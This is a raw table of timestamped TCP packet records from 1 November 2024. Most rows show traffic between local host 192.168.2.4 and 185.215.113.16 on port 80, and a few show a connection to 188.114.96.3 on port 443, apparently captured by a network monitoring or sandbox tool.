Nov 1, 2024 08:51:34.634242058 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.634257078 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.634275913 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.634293079 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.634818077 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.634834051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.634848118 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.634860992 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.634879112 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.634893894 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.675767899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.675786018 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.675810099 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.675829887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.675837040 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.675846100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.675898075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.675898075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.727865934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.727890968 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.727916002 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.727931976 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.727931976 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.727948904 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.727966070 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.727972984 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.727981091 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.728008032 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759052992 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759089947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759111881 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759115934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759133101 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759141922 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759152889 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759154081 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759171009 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759179115 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759187937 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759196997 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759212971 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759216070 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759228945 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759247065 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759383917 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759398937 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759416103 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759418011 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759443998 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759453058 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759476900 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759491920 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759506941 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759510994 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759522915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759530067 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759542942 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.759546041 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759565115 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.759573936 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.760341883 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.760370016 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.760384083 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.760385990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.760402918 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.760426998 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.799561977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.799587965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.799606085 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.799622059 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.799663067 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.799663067 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.839298010 CET	57800	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:34.839339972 CET	443	57800	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:34.839415073 CET	57800	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:34.839932919 CET	57800	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:34.839951038 CET	443	57800	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:34.843033075 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.843105078 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.843118906 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.843190908 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.851944923 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.851959944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.851977110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.851994038 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.852005005 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.852022886 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.852044106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.883088112 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883104086 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883119106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883135080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883152008 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883150101 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.883189917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.883208990 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.883357048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883372068 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883388996 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883403063 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.883431911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.883517981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883536100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883552074 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883559942 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.883577108 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.883624077 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.883965969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.884015083 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.884016991 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.884035110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.884052992 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.884052992 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.884079933 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.884089947 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.884357929 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.884387016 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.884404898 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.884408951 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.884428024 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.884438038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.884470940 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.884488106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.884505033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.884517908 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.884531021 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.884552002 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.885127068 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.885143042 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.885159016 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.885175943 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.885191917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.923513889 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.923588991 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.923670053 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.923685074 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.923701048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.923717976 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.923743010 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.967190027 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.967209101 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.967223883 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.967319965 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.967436075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.975847960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.975862026 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.975917101 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.975953102 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.007581949 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007615089 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007639885 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007647991 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007658005 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007683039 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007751942 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007755041 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.007766008 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007783890 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.007831097 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.007850885 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007867098 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007883072 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007890940 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.007900000 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007915974 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007917881 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.007931948 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007934093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.007951975 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007952929 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.007970095 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.007977009 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.008001089 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.008014917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.008152962 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.008168936 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.008186102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.008193970 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.008205891 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.008223057 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.008228064 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.008239985 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.008256912 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.008260965 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.008280993 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.008291960 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.008797884 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.008814096 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.008831024 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.008846045 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.008846045 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.008866072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.008893013 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.047619104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.047640085 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.047683001 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.047703028 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.092669964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.092690945 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.092708111 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.092747927 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.092788935 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.099844933 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.099859953 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.099874973 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.099912882 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.099947929 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134399891 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134418011 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134434938 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134450912 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134464979 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134468079 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134496927 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134511948 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134543896 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134567976 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134582996 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134583950 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134598970 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134613991 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134618044 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134622097 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134634018 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134644985 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134650946 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134659052 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134665966 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134675026 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134682894 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134690046 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134701014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134713888 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134718895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134722948 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134733915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134746075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134752035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134759903 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134773970 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134774923 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134792089 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134795904 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134809017 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134814024 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134825945 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134833097 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134840965 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134845018 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134862900 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134862900 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134879112 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134880066 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134895086 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134902000 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134916067 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134917974 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.134927988 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.134958029 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.173099041 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.173137903 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.173160076 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.173173904 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.173180103 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.173216105 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.216728926 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.216748953 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.216820002 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.217039108 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.217052937 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.217084885 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.217113018 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.225120068 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.225136995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.225151062 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.225267887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.225281954 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.225320101 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.225372076 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258037090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258054018 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258069038 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258084059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258100986 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258116961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258136034 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258193970 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258210897 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258219957 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258219957 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258220911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258220911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258229017 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258246899 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258258104 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258280039 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258644104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258660078 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258675098 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258688927 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258690119 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258706093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258709908 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258733988 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258764982 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258806944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258822918 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258840084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258851051 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258856058 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258872986 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258872986 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.258891106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258910894 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.258920908 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.260629892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.260644913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.260660887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.260668993 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.260685921 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.260715961 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.295497894 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.295538902 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.295546055 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.295581102 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.295624971 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.295638084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.295742989 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.343040943 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.343056917 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.343072891 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.343091011 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.343120098 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.347835064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.347860098 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.347875118 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.347884893 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.347898960 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.347918034 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.379183054 CET	80	57777	185.215.113.16	192.168.2.4
